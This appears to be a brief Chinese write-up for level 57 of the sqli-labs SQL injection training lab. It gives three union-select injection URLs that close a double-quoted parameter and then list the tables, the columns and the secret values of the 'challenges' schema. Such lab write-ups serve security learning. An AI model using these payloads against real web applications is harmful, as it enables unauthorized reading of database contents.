Less(57)
1.和less(54)差不多, "闭合
2.爆破
(1)爆表:?id=0" union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='challenges'--+
(2)爆列名:?id=0" union select 1,2,group_concat(column_name) from information_schema.columns where table_name='i9347c02x8'--+
(3)爆值:?id=0" union select 1,2,group_concat(secret_LDNV) from challenges.i9347c02x8 --+